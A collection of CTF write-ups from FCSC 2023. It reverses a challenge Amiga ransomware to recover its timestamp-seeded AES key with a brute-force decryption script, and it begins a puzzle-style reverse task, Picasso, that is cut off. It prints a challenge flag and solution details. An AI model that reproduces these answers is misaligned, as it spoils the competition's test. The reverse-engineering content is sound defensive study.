# Introduction

This repository includes my writeups for various CTF over the years.

Some of these may contain occasional LaTeX formulas that are not rendered on Github, so please make sure you are viewing this on <https://ctf.0xff.re/>.


# 2023


# FCSC 2023

I participated for my fourth consecutive year in the **France Cyber Security Challenge** (04/21 - 30/04) in the *Senior* category.

I ranked **1st place** in the Senior category, and 3rd global among 2000 registered participants.

I wrote two write-ups that were required for the qualifications, on two reverse challenges that I enjoyed:

* [Hola Amigo](/2023/fcsc-2023/hola-amigo)
* [Picasso](/2023/fcsc-2023/picasso)

![Final global scoreboard matrix](/files/nb650INKLmDayDuzWWB7)

![Solved challenges overview](/files/5xu8YvA0CyrW8GcN7XQs)


# Hola Amigo (reverse)

Hola Amigo was a *hard* reverse challenge from FCSC 2023, on which I got first blood 🩸. It was the least solved reverse engineering challenge, and one of the least solved tasks overall from the CTF.

The description states that one of our friends downloaded a demo on their **Amiga 500**, which unfortunately happened to be a ransomware that encrypted their favorite game's floppy disk.

We are asked to analyze the ransomware's floppy disk (`ransomware_floppy.adf`) and to decrypt the data (`flag_floppy_enc.adf`).

## Initial recon, running & debugging

We learn that `adf` stands for [Amiga Disk File](https://en.wikipedia.org/wiki/Amiga_Disk_File), a format used by Amiga computers and emulators to store images of floppy disks. The command `file` also reveals that it was most likely created with a tool called [`exe2adf`](https://www.exe2adf.com/).

```
╭─face@0xff ~/ctf/fcsc/2023/reverse/hola-amigo                                                                                                                                                         
╰─$ file ransomware_floppy.adf                                                                                                                                                                         
ransomware_floppy.adf: Amiga DOS disk (DD 880 KiB), probably root block 880, bootable AmigaDOS 3.0, "exe2adf"
```

A bit of research brings us to [ADFlib](https://github.com/lclevy/ADFlib), an open-source tool to play around with the Amiga filesystem. In particular, it allows to extract the floppy disk's data with `unadf`.

Running it on the flag's floppy disk gives us the encrypted flag. Immediately, we notice that its length is a multiple of 16, which hints at the use of a block cipher (maybe AES).

```
╭─face@0xff ~/ctf/fcsc/2023/reverse/hola-amigo                                                                                                                                                         
╰─$ hexdump -C flag.txt                                                                                                                                                                                
00000000  28 0c 79 e6 88 36 a2 1f  fb 4f 09 a6 c4 4c 73 42  |(.y..6...O...LsB|                                                                                                                         
00000010  08 ff 92 16 7d c4 9f c4  33 6a e8 c0 19 9d fa e4  |....}...3j......|                                                                                                                         
00000020  0d 27 03 8f 74 68 04 cb  b4 6f a7 0f 73 4e 6a d6  |.'..th...o..sNj.|                                                                                                                         
00000030  7a ae c5 83 28 3e 81 8a  e0 ca 2e 0e bc 5a e5 60  |z...(>.......Z.`|                                                                                                                         
00000040  74 4b 72 17 c0 58 57 df  b6 a8 44 d0 1c 0c e6 0f  |tKr..XW...D.....| 
```

Then, we are also able to extract the ransomware's binary, `a.exe`.

```
╭─face@0xff ~/ctf/fcsc/2023/reverse/hola-amigo                                                                                                                                                         
╰─$ file a.exe                                                                                                                                                                                         
a.exe: AmigaOS loadseg()ble executable/binary
```

Amiga 500 runs on the [**Motorola 68000**](https://en.wikipedia.org/wiki/Motorola_68000) architecture (shortened `m68k`). IDA can disassemble this architecture, but I chose to work with Ghidra as it provides a decompiler as well (although it is far from perfect).

But before reversing anything, it would be more comfortable if we could emulate the program and setup a debugging environment.

I chose to use the [FS-UAE](https://fs-uae.net/) Amiga emulator, that runs on Linux and provides debugging support. Arbitrary floppy disks should be placed inside `~/Documents/FS-UAE/Floppies` in order to be loaded. Then, we need to create a configuration file in `~/Documents/FS-UAE/Configurations/Default.fs-uae`:

```
[config]
amiga_model = A500
floppy_drive_0 = ransomware_floppy.adf
floppy_drive_1 = flag_floppy_enc.adf
console_debugger = 1
```

Note the `console_debugger` flag that enables the use of the debugger.

Now, when FS-UAE is launched, it should load the ransomware. At first, we are greeted with a window that asks us to wait for a surprise.

![](/files/b4r1Wii1VMIYkPIt34xb)

But around ten seconds later, a gruesome sight awaits us...

![](/files/kbDPFrJ0kNzqPkRQEv7u)

At any moment, we can bring up the debugging console with `F11 + D`, which pauses the execution:

```
 -- stub -- activate_console 
  D0 FFFFFFFF   D1 00F00000   D2 0000002F   D3 FFFFFFFE 
  D4 0007FFE0   D5 00F80000   D6 00FF8A58   D7 0001FFF8 
  A0 00FF5C00   A1 00FF597B   A2 00F02D54   A3 00C00020 
  A4 00C00000   A5 0003FFD0   A6 00C000D8   A7 0003FEF0 
USP  00000000 ISP  0003FEF0 
T=00 S=1 M=0 X=0 N=0 Z=0 V=0 C=0 IMASK=7 STP=0
Prefetch ba8a (CMP) 548a (ADDA) Chip latch 00000000
00FE623E 548a                     ADDA.L #$00000002,A2
Next PC: 00fe6240
>
```

Depending on when the execution was paused, the floppy disk may or may not have been loaded already. Thanksfully, it seemed to be mapped practically all the time at the same address (or very near), which made it easier to set breakpoints in advance.

## Reversing: the file encryption

Let's load the program with Ghidra and select the default Motorola 68000 architecture (32-bits, big-endian).

Getting started is not easy. The binary is a bit large (100 Ko) and Ghidra seems to miss a lot of code that we need to disassemble manually.

One string is stored in clear text inside the data section (only one...) that says:

```
You have been hacked by ami.ga.ga!
Please send only bitcoin$$$$ to decrypt your files!
```

However, no cross-reference shows up for this string, so it is unclear what we can achieve from it.

After spending a lot of time exploring around and identifying potential candidates for cryptographic functions, a new idea popped in my mind.

This [blog post](https://tetracorp.github.io/guide/reverse-engineering-amiga.html) about reverse engineering Amiga games mentions the following:

> ***Standard Amiga library calls**: Text strings in the game may reference **library files**, such as graphics.library or dos.library. Early on in a program you will see references to ABSEXECBASE ($4) followed by **a jump to an offset; e.g. JSR (-30,A6)**. Calls to ABSEXECBASE are offets of exec.library, and you will often see this to load other libraries with the OpenLibrary function, i.e. JSR (-552,A6). A fully documented list of major library offsets and hardware registers appears in* [*Mapping the Amiga*](https://textfiles.meulie.net/programming/AMIGA/mapamiga.txt)*.*

The linked documentation is very useful, as it gives the corresponding offsets to all the standard library calls.

I assumed that the ransomware, at some point, had to read from the flag file and then write to it. We quickly stumble upon these relevant calls:

```
Open
Description:		opens a file for input or output
Library:		dos.library
Offset:			-$001E (-30)
Modula-2 Module:	DOS
Syntax:			file = Open(name, accessMode)
C:			BPTR Open(char *, long)
Machine Language:	d0 = Open(d1, d2)
Modula-2:		Open(name: STRPTR; accessMode: LONGINT): FileHandle
Arguments:		name = NULL terminated string specifying filename
			accessMode = type of file access desired-MODE_OLDFILE for
			reading, MODE_NEWFILE for writing
Result:			file = BCPL pointer to file handle; NULL if unsuccessful
```

```
Read
Description:		reads data from a file
Library:		dos.library
Offset:			-$002A (-42)
Modula-2 Module:	DOS
Syntax:			actualLength = Read(file, buffer, length)
C:			long Read(BPTR, char *, long)
Machine Language:	d0 = Read(d1, d2, d3)
Modula-2:		Read(file: FileHandle; buffer: ADDRESS; length: LONGINT):
			LONGINT
Arguments:		file = BCPL pointer to a file handle
			buffer = address of memory block to receive data
			length = number of bytes to read (must not exceed buffer size)
Result:			actualLength = actual number of bytes received
```

```
Write
Description:		writes bytes of data to a file
Library:		dos.library
Offset:			-$0030 (-48)
Modula-2 Module:	DOS
Syntax:			length = Write(file, buffer, length)
C:			long Write(BPTR, char *, long)
Machine Language:	d0 = Write(d1, d2, d3)
Modula-2:		Write(file: FileHandle; buffer: ADDRESS; length: LONGINT):
			LONGINT
Arguments:		file = BCPL pointer to a file handle
			buffer = pointer to start of buffer containing data to write
			length = number of bytes to write
Result:			length = number of bytes successfully written; -1 if error
			occurred
```

Therefore, looking for a function that features the instructions `JSR (-0x1E, A6)`, `JSR (-0x2A, A6)` and `JSR (-0x30, A6)` sounds like a good idea. And there is one!

```cpp
FUN_000010ac(undefined4 param_1,undefined4 param_2,uint param_3)
```

I called this function `encrypt_file`, and tried to identify its main components.

```cpp
local_8 = param_1;
local_c = 0x3ed;
local_14 = (*(code *)(DAT_000000ce + -0x1e))();  /* open file (MODE_OLDFILE) */
local_18 = param_1;
local_1c = 0x3ed;
local_10 = local_14;
local_24 = (*(code *)(DAT_000000ce + -0x1e))();
local_20 = local_24;
if ((local_14 == 0) || (local_24 == 0)) {
  local_64 = (*(code *)(DAT_000000ce + -0x3c))();
  local_68 = &DAT_000019a9;
  local_6c = 4;
  local_60 = local_64;
  (*(code *)(DAT_000000ce + -0x30))();
  return 0;
}
iVar1 = FUN_00000f28(auStack436,param_2,local_4,&local_90,1,0);
if (iVar1 == 0) {
  do {
    local_28 = local_14;
    local_2c = &local_80;
    local_30 = 0x10;
    local_38 = (*(code *)(DAT_000000ce + -0x2a))();  /* read file (0x10 bytes) */
    local_34 = local_38;
    if (local_38 == 0) {
      /* close file */
      local_3c = local_14;
      local_40 = (*(code *)(DAT_000000ce + -0x24))();
      local_44 = local_24;
      (*(code *)(DAT_000000ce + -0x24))();
      return 0;
    }
    iVar1 = FUN_00001074(auStack436,&local_80,&local_80,0x10);
    if (iVar1 != 0) {
      return 0xffffffff;
    }
    local_4c = local_24;
    local_50 = &local_80;
    local_54 = local_38;
    local_5c = (*(code *)(DAT_000000ce + -0x30))();  /* write file */
    local_58 = local_5c;
  } while (local_5c == local_38);
}
```

First, the file is opened. Then, a certain function `FUN_00000f28` is called, maybe to initialize a cryptographic context. Finally, 16-bytes blocks are read from the file. Each block undergoes the `FUN_00001074` function, probably an encryption function, and the output is written back to the file.

I will spare the details of reversing these two cryptographic functions. It is rather tedious work, but nonetheless very classic when you have to reverse binaries that include cryptographic libraries: there are often big context structures wandering around and many different parameters and modes are implemented, all of this impacting the code's legibility and making it harder to find exactly which cryptographic primitive is actually being used.

We eventually understand that the flag is encrypted using **AES-256 in CBC mode** and a null IV. However, it is hard to tell at first glance where the key comes from. Debugging can help validating this fact and retrieving the key, but it turns out the key seems to change every time we run the program again (of course, this is quite a classic behavior for a ransomware).

The goal now is therefore to find how the AES key is generated, and which key was used to encrypt the flag.

## Reversing: the key generation process

First, we identify that the `encrypt_file` function is called with the `key` and its size `key_size` (which is always 32 bytes) as parameters.

The parent function, its only cross-reference, is rather large and cryptic. I called it `ransomware`. I went for a "bottom-up" approach in order to understand where the key comes from.

Here are the main blocks that constitute this function:

![](/files/ytvVo5PEPNElwcPYDtPN)

Yup, there's still a lot of cryptographic functions going on... AES was the easy part.

Starting with the *hash function* part in orange. We immediately notice the presence of some magic values:

```cpp
uStack888 = 0x7380166f;
uStack884 = 0x4914b2b9;
uStack880 = 0x172442d7;
uStack876 = 0xda8a0600;
uStack872 = 0xa96f30bc;
uStack868 = 0x163138aa;
uStack864 = 0xe38dee4d;
uStack860 = 0xb0fb0e4e;
iStack792 = 0x29475103;
uStack788 = 0x12849204;
```

Googling leads us to [SM3](https://en.wikipedia.org/wiki/SM3_\(hash_function\)). It is a hash function used in the Chinese National Standard, that outputs a 256-bit digest (fits perfectly to feed the subsequent AES part). It features different rounds of compression using 64-byte blocks.

Now, we need to understand what exactly is fed to this SM3 part. Debugging shows that its input is pretty much 128 seemingly random bytes.

At this point, as I was debugging and casually navigating through the memory by searching for known bytes with the `s` command, I stumbled upon a few interesting plaintext strings. Namely, I was looking for the strings that showed up on the screen (like "we are preparing a surprise"), thinking they were perhaps initially encrypted, and then decrypted on-the-fly.

```
>s "surprise"
Searching from 00000000 to 00C80000..
Scanning.. 00000000 - 00080000 (Chip memory)
 -- stub -- console_isch 
Scanning.. 00000000 - 00c80000 (Chip memory)
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 -- stub -- console_isch 
 00C4A73C -- stub -- console_isch 
 00C5C556 -- stub -- console_isch 
 -- stub -- console_isch 

>m 00C4A650
00C4A650 4575 00C3 65F8 00F9 6F02 DBDB DBDB DBDB  Eu..e...o.......
00C4A660 DBDB DBDB DBDB DBDB DBDB DBDB DBDB DBDB  ................
00C4A670 DBDB DBDB DBDB DBDB DBDB DBDB DBDB DBDB  ................
00C4A680 0000 0104 0000 0000 0000 0000 0000 0000  ................
00C4A690 0000 0000 004E 4953 545F 5350 3830 3039  .....NIST_SP8009
00C4A6A0 3041 5F41 4553 3235 362D 4354 525F 4452  0A_AES256-CTR_DR
00C4A6B0 4247 5F50 4552 535F 3133 3337 5F43 5259  BG_PERS_1337_CRY
00C4A6C0 5054 3052 5F46 524F 4D5F 414D 4947 4147  PT0R_FROM_AMIGAG
00C4A6D0 4100 00AB 84DC 696E 7475 6974 696F 6E2E  A.....intuition.
00C4A6E0 6C69 6272 6172 7900 0000 0000 0000 0000  library.........
00C4A6F0 0000 0000 0000 0000 0000 486F 6C61 2041  ..........Hola A
00C4A700 6D69 676F 2061 6E64 2068 656C 6C6F 2041  migo and hello A
00C4A710 6D69 6761 210A 506C 6561 7365 2077 6169  miga!.Please wai
00C4A720 7420 6120 6269 743A 2077 6520 6172 6520  t a bit: we are 
00C4A730 7072 6570 6172 696E 6720 6120 7375 7270  preparing a surp
00C4A740 7269 7365 202E 2E2E 0A00 646F 732E 6C69  rise .....dos.li
00C4A750 6272 6172 7900 00C0 1780 00AA 4948 6772  brary.......IHgr
00C4A760 6170 6869 6373 2E6C 6962 7261 7279 0000  aphics.library..
00C4A770 00C0 058C 0000 0000 0000 00DF F000 0000  ................
00C4A780 0000 0000 DBDB DBDB DBDB DBDB DBDB DBDB  ................
```

What's this?! A rather compelling magic string from out of nowhere...

```
NIST_SP80090A_AES256-CTR_DRBG_PERS_1337_CRYPT0R_FROM_AMIGAGA
```

According to [Wikipedia](https://en.wikipedia.org/wiki/NIST_SP_800-90A), **NIST SP 800-90A** is a publication by the NIST, called *Recommendation for Random Number Generation Using Deterministic Random Bit Generators*, that specifies three different allegedly secure pseudo-random number generators: *Hash DRBG*, *HMAC DRBG* and *CTR DRBG*.

The latter is referenced in the magic string: we can assume the program makes use at some point of the **CTR DRBG** algorithm using the AES-256 block cipher primitive.

With a bit more reversing, we find that the function `FUN_00006aac` is responsible for decrypting the strings in memory. It is called with the offset of the string to decrypt and a 8-bit key $$k$$. It uses AES-CTR with an initial zero counter and a key consisting of all bytes $$k \oplus \text{0xAA}$$. This knowledge is not essential to solve the challenge.

Back to the missing blocks: the random number generation. The idea now is to correlate what we see in the binary with an existing library, because there's so much code (and so much *useless* code) that it seems unlikely it was implemented for this challenge only.

After a bit of research, we find the [libdrbg](https://github.com/ANSSI-FR/libdrbg) library, conveniently designed by the ANSSI, and most notably by the challenge author himself.

With this knowledge, we are able to grasp a more astute understanding of the random generation block.

CTR DRBG is instantiated through the `ctr_drbg_instantiate` function, and takes in several parameters:

* an entropy input;
* a nonce;
* a *personalization string*.

In the challenge, we assess that the nonce is an array consisting of the bytes 0x00, 0x01, ... 0x7F, and the personalization string is the magic string from earlier (`NIST_SP80090A_AES256-CTR_DRBG_PERS_1337_CRYPT0R_FROM_AMIGAGA`). It is still unclear, however, how the entropy input is generated --- we will come back to it later.

Then, random bytes can be generated using the `ctr_drbg_generate` method. It takes in some additional entropy input and outputs 128 bytes of random data.

In the challenge, this function is called twice, with two different additional entropy inputs which seem to be generated using the same method than for the first entropy input.

Let's now dive into how these entropy inputs are computed. This is done through the `FUN_000012f4` function, which I renamed `get_entropy_input`.

Unfortunately, Ghidra's decompiler has a very hard time understanding these patterns and messes up the arguments, so we have to resort to the assembly code.

```=
00008266 42 ad fc 46     clr.l      (-0x3ba,A5)
0000826a 42 ad fc 4a     clr.l      (-0x3b6,A5)
0000826e 41 ed fc 46     lea        (-0x3ba,A5),A0
00008272 43 ed fc 4a     lea        (-0x3b6,A5),A1
00008276 4e ae ff ac     jsr        (-0x54,A6)
0000827a 42 a7           clr.l      -(SP)
0000827c 20 2d fc 46     move.l     (-0x3ba,A5),D0
00008280 48 40           swap       D0
00008282 42 40           clr.w      D0w
00008284 2f 00           move.l     D0,-(SP)
00008286 48 78 01 00     pea        (0x100).w
0000828a 48 6d ff 00     pea        (-0x100,A5)
0000828e 47 fa 90 64     lea        (-0x6f9c,PC)=>get_entropy_input,A3
00008292 4e 93           jsr        (A3=>get_entropy_input)
```

Before calling the `get_entropy_input` function itself, some important arguments are prepared. The `(-0x100, A5)` pointer stores the output entropy buffer, and 0x100 is its size.

The third argument comes from the `D0` register, which itself is derived from a library call. Grepping through the *Mapping the Amiga* document, here's what we find:

```
CurrentTime
Description:		returns the current system time
Library:		intuition.library
Offset:       		-$0054 (-84)
Modula-2 Module: 	Intuition
Syntax:        		CurrentTime(seconds, micros)
C:            		void CurrentTime(long *, long *)
Machine Language: 	CurrentTime(d0, d1)
Modula-2:		CurrentTime(VAR seconds, micros: LONGCARD)
Arguments:		seconds = pointer to four-byte (LONG) variable to receive sec-
			onds value
			micros = pointer to four-byte (LONG) variable to receive micro-
			seconds value
Result:			returned in seconds and micros arguments
```

That's right, as in 9 ransomware CTF challenges out of 10, a **timestamp** is involved! We should have seen this coming.

The `CurrentTime` library call writes two longs (one for the seconds and one for the microseconds) to user-provided pointers: here, the local variables `(-0x3ba, A5)` and `(-0x3b6, A5)`. However, only the first one is passed to the next function: the microseconds are basically discarded. It is also important to note that the timestamp is byte-swapped before it is passed over.

Finally, here is the `get_entropy_input` function:

```cpp
void get_entropy_input(char *out_buf, uint size, uint k, int idx) {
  uint i;  
  for (i = 0; i < size; i++) {
    out_buf[i] = entropy_box[(idx + i) & 0xff] ^ (byte)((k >> 0x10) >> (i & 0x1f));
  }
  return;
}
```

We see that there is also a fourth argument, which I called `idx`. Its value is 0 for the first call, 1 for the second and 2 for the third. The `k` value is the timestamp in seconds. `entropy_box` is a 256-byte array of constant, random data that we can dump.

One should notice that the timestamp is shifted 16 bits to the left. Therefore, there are only 16 bits of entropy (the upper bits of the timestamp), which is easily bruteforceable if need be.

We now have pretty much everything we need in order to generate the key!

## Reimplementing the algorithm

At first, I thought I could simply get the timestamp from the `flag.txt` file and plug it directly in the algorithm. By patching the executable or modifying the returned timestamp through debugging, we could let it compute the AES key automatically for us.

```
╭─face@0xff ~/ctf/fcsc/2023/reverse/hola-amigo                                                  
╰─$ stat -c '%Y' flag.txt                                                                       
1680805873 
```

Unfortunately, this does not work: this timestamp is not correct. This was hinted at in the challenge's description, which warned us that we shouldn't take the encrypted floppy disk's metadata for granted, as they were most likely overwritten.

Consequently, we need to brute-force the $$2^{16}$$ possible AES keys, and thus reimplement the whole key generation algorithm. Thanksfully, we can reuse the libdrbg library.

After spending quite some time assimilating the library and debugging my implementation, which seemed to correspond very closely to the executable's after performing various dynamic checks, I still couldn't find the correct key and I realized that something was wrong.

My mistake was to patch the executable so that it always returns the same timestamp in order to make the calculations deterministic and ease the debugging process. But I totally neglected a crucial detail : there are **three distinct calls** to `CurrentTime()`, and these may return **different timestamps**.

Indeed, the random number generation function is quite computationally heavy for the Amiga 500. With the FS-UAE emulator, I measured a delay of 8 seconds between the first two calls, and 4 seconds between the last two. We need to take into account these delays $$\delta\_1, \delta\_2$$ in our brute-force.

Additionally, since the timestamp is byte-swapped, the `k >> 0x10` quantity in `get_entropy_input` represents seconds of lower significance, which means that the three timestamps are really distinct for small delays.

Even with this new realization, it took me a lot of time to find the correct $$(\delta\_1, \delta\_2)$$ pair --- it came down to basically guessing how slow the author's emulator was when they encrypted the flag. Bruteforcing the timestamp was already not instantaneous, so expanding the search space for the delays came with a certain computational cost.

Eventually, I found the correct delays (18 seconds and 6 seconds) along with the timestamp (0x06fc). Here is my brute-force solve script. Note: the libdrbg library happens to implement the SM3 hash function as well, which was a blessing.

```cpp
#include <stdio.h>
#include <stdlib.h>
#include "ctr_drbg.h"
#include "drbg.h"
#include "drbg_common.h"
#include "libhash/sm3.h"
#include "aes/aes_glue.h"

const unsigned char encrypted_flag[] = "\x28\x0c\x79\xe6\x88\x36\xa2\x1f\xfb\x4f\x09\xa6\xc4\x4c\x73\x42\x08\xff\x92\x16\x7d\xc4\x9f\xc4\x33\x6a\xe8\xc0\x19\x9d\xfa\xe4\x0d\x27\x03\x8f\x74\x68\x04\xcb\xb4\x6f\xa7\x0f\x73\x4e\x6a\xd6\x7a\xae\xc5\x83\x28\x3e\x81\x8a\xe0\xca\x2e\x0e\xbc\x5a\xe5\x60\x74\x4b\x72\x17\xc0\x58\x57\xdf\xb6\xa8\x44\xd0\x1c\x0c\xe6\x0f";
const unsigned char pers_string[] = "NIST_SP80090A_AES256-CTR_DRBG_PERS_1337_CRYPT0R_FROM_AMIGAGA";
const unsigned char entropy_box[] = "\x0E\x70\xBF\xAB\xE8\x2E\x34\x10\x8B\x52\x81\xDF\xCB\x2D\x0A\x64\x12\xF9\x82\xA7\xCD\x06\xC6\xD4\x2B\xC1\x2A\x21\x5B\x98\x80\xFA\x87\x35\x71\xF3\x4E\x8D\xD7\x63\x23\x9B\x9D\x4C\x19\x6F\x0D\x8E\xD5\x01\xF5\xA2\xEC\x3F\xD8\xB7\xA6\x48\x26\xB1\x36\x2F\x07\x9E\x49\x38\x0B\x57\x9A\xD3\xD1\xBD\xB6\x00\xF6\xA1\x58\x61\xCC\x4A\xC9\x59\x15\x02\x42\x3D\xED\x03\x6A\xE1\xFC\x31\x96\x20\x7F\xF4\x1F\x5A\x17\x5E\x13\xF1\xB4\x05\x47\xD9\xF8\x51\x75\x08\x88\x28\x5D\x43\xBE\xB0\x95\x56\x89\x9C\xE4\x68\xD6\xF0\x27\x4B\x54\x25\x3A\xEF\x7A\xDB\xAA\x44\xFF\xCE\x74\xBB\xA3\x90\xE9\x24\xFE\x1B\x7B\x4D\xC0\x0C\xF2\x92\x67\x39\xF7\x1D\x37\x97\x29\xC5\x45\x65\xDC\xEB\xA8\x7C\x50\xAE\xD2\xAD\x33\x93\x11\x1C\x0F\x91\xBC\xAF\x32\x4F\xEE\x22\xC8\x1A\x73\xFD\xCA\xC3\xB9\x69\x7D\xA5\x72\x9F\x46\x09\x3E\x79\x5F\xFB\xAC\x6E\xC7\x40\x84\xE7\xE0\x1E\xE5\x83\x3C\x14\xB2\xC4\xB8\x94\x77\x18\xDE\xC2\xE3\x8C\x8F\xE2\x55\xEA\x86\xD0\x53\x66\x16\x99\x78\x04\x60\xA4\xA9\x8A\x6D\xBA\xE6\x62\x3B\xCF\xDD\x6C\x2C\x85\x7E\xDA\x5C\xA0\x6B\x76\x30\xB3\xB5\x41";

void _get_entropy_input(unsigned char * out_entropy, unsigned int timestamp, int idx, int size) {
  for (int i = 0; i < size; i++) {
    out_entropy[i] = entropy_box[(idx + i) & 0xff] ^ (unsigned char)((timestamp) >> (i & 0x1f));
  }
}

int main() {

  unsigned char entropy_input[0x100] = { 0 };
  unsigned char addin1[0x80] = { 0 };
  unsigned char addin2[0x80] = { 0 };

  unsigned char nonce[] = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f";
  unsigned char IV[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

  unsigned char decrypted_flag[0x100] = { 0 };

  unsigned char outbuf[0x80] = { 0 };
  sm3_context sm3_ctx;
  unsigned char digest[32] = { 0 };

  drbg_ctx ctx;
  drbg_options opt;
  aes_context aes_ctx;

  for (unsigned int timestamp = 0; timestamp <= 0xFFFF; timestamp++) {

    for (unsigned int delta1 = 0; delta1 <= 20; delta1++) {

      for (unsigned int delta2 = 0; delta2 <= 16; delta2++) {

        _get_entropy_input(entropy_input, timestamp & 0xffff, 0x0, 0x100);
        _get_entropy_input(addin1, (timestamp + delta1) & 0xffff, 0x1, 0x80);
        _get_entropy_input(addin2, (timestamp + delta1 + delta2) & 0xffff, 0x2, 0x80);

        DRBG_CTR_OPTIONS_INIT(opt, CTR_DRBG_BC_AES256, true, 0);
        ctr_drbg_instantiate(&ctx, entropy_input, 0x100, nonce, 0x80, pers_string, sizeof(pers_string) - 1, 0, &opt);

        ctr_drbg_generate(&ctx, addin1, 0x80, outbuf, 0x80);
        ctr_drbg_generate(&ctx, addin2, 0x80, outbuf, 0x80);

        sm3_init(&sm3_ctx);
        sm3_update(&sm3_ctx, outbuf, 0x80);
        sm3_final(&sm3_ctx, digest);

        memset(decrypted_flag, 0, sizeof(decrypted_flag));
        aes_init(&aes_ctx, digest, AES256, IV, CBC, AES_DECRYPT);
        aes_exec(&aes_ctx, encrypted_flag, decrypted_flag, sizeof(encrypted_flag) - 1);
        if (!memcmp(decrypted_flag, "FCSC", 4)) {
          printf("0x%04x %d %d\n", timestamp, delta1, delta2);
          printf("Key: ");
          for (int i = 0; i < 32; i++) {
            printf("%02x", (unsigned char)(digest[i]));
          }
          printf("\n");
          for (size_t i = 0; i < sizeof(encrypted_flag) - 1; i++) {
            printf("%c", (unsigned char)(decrypted_flag[i]));
          }
          printf("\n");
        }

      }
    }
  }

  return 0;

}
```

We find the correct AES key, and the decrypted flag!

```
Key: 5a0ba5a7848532cd1a2764ae5c313d1c11192ce38cdaa45ecfae245495093113
FCSC{76072BB466DFF95EA075E867B481EFD7C7A32BCE59E3E03A193AEA5EA377DD0C} == flag!
```

## Conclusion

Hola Amigo was a quite fun and well-designed challenge that tackled an architecture and an environment I was not familiar with at all. It also taught me a few new cryptographic primitives.

I thought the brute-force part at the very end was not *that* guessy, but still slightly frustrating, especially when you've spent your whole week-end reversing the binary, managing to get a correct implementation up and running, and having the pressure of not letting your first blood fall into someone else's hands. 😀


# Picasso (reverse)

Picasso was a *hard* reverse challenge from FCSC 2023, which verged on the more puzzly side of the spectrum.

We were given a tiny ELF file (15 Ko) and asked to find a valid entry.

```
╭─face@0xff ~/ctf/fcsc/2023/reverse/picasso                                                                                                        
╰─$ file picasso                                                                                                                                   
picasso: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6821f8
a80706b51ecc2b3d5da5bbc3c59a8e8868, for GNU/Linux 3.2.0, stripped
```

## Reverse engineering

The reverse engineering part of the challenge was definitely the easiest part. There is only one (!) function of interest, and it is rather small --- everything is here.

At first glance of the code, here are the main takeaways:

* The input is a 24-character string with lower case letters from the alphabet (minus `o` and `i`) that encode $$(x, y)$$ couples, with $$x \in {0, \ldots, 5}$$ and $$y \in {0, \ldots, 3}$$.
* There are two central parts in the verification algorithm, that should be solved in reverse order.

In the first part, each $$(x, y)$$ couple acts on a certain array of 54 elements, which I call `initial_state`.

```cpp
k = 0;
qmemcpy(v23, &initial_state, sizeof(v23));
printf("Password: ");
fflush(stdout);
__isoc99_scanf("%24s", s);
while ( strlen(s) > k )
{
  idx = strchr("abcdefghjklmnpqrstuvwxyz", s[k]);
  if ( !idx )
  {
    v5 = "Nope!";
    goto ERR;
  }
  y = (idx - "abcdefghjklmnpqrstuvwxyz") % 4;
  permutation = &permutations[54 * ((idx - "abcdefghjklmnpqrstuvwxyz") / 4)];
  while ( y > 0 )
  {
    y--;
    qmemcpy(v24, v23, sizeof(v24));
    for ( i = 0LL; i != 54; ++i )
      v23[i] = v24[permutation[i]];
  }
  ++k;
}
```

More precisely, for each "move", the $$x$$ value selects a permutation (the array `permutations` consists of 6 distinct permutations of $${ 0, \ldots, 53}$$). The $$y$$ value is the number of times this permutation should be applied on the state.

The states are arrays of values in $${ 0, \ldots, 15 }$$, therefore I chose to represent them using hexadecimal nibbles. The initial state looks like this:

```
D32EF97ED632728E7443D4C3F2A5916AB25CEBD1A1591F6E44B4BF
```

We will take a closer look at the set of permutations later.

In the second part of the algorithm, our newly permutated state is fed to another loop:

```cpp
initial_grid = 0x3DA8E0915F2C4B67;
j = 0;
while ( 1 )
{
  nibble = permutated_state[j];
  valid_moves_ptr = valid_moves;
  m = 60;
  while ( nibble != ((initial_grid >> m) & 0xF) )
  {
LABEL_19:
    m -= 4;
    valid_moves_ptr += 5;
    if ( m == -4 )
      goto ERR;
  }
  v15 = valid_moves_ptr;
  do
  {
    mask = *v15;
    if ( !*v15 )
      goto LABEL_19;
    ++v15;
  }
  while ( (initial_grid & (15 * mask)) != 0 );
  transition = (nibble << m) ^ (mask * nibble);
  if ( initial_grid == transition )
    goto ERR;
  if ( ++j == 54 )
    break;
  initial_grid ^= transition;
}
if ( (transition ^ initial_grid) == 0x123456789ABCDEF0 )
{
    puts("Win!");
    /* ... */
}
```

This time around, we have another quantity, `0x3DA8E0915F2C4B67`, which I called `initial_grid`. This 64-bit integer basically undergoes permutations as well, and the goal is for it to reach `0x123456789ABCDEF0`.

## Solving the second puzzle

When I first opened the binary in IDA, the second puzzle was definitely the quickest one to catch my attention. Going from a permutation of $${0, \ldots, 15}$$ to $$\text{0x123456789ABCDEF0}$$ was something I knew very well: the *fifteen puzzle*.

![](/files/9aqOIbKXSDMrMtrY21Y5)

I immediately thought of this puzzle for a very particular reason: I made a challenge centered around it for ECW CTF 2021, which writeup you can find [on my blog](https://face.0xff.re/posts/ecw-ctf-2021-pipe-dream-writeup/). The idea was basically that there was one process per cell, and the moves were encoded using a communication protocol through pipes between adjacent cells.

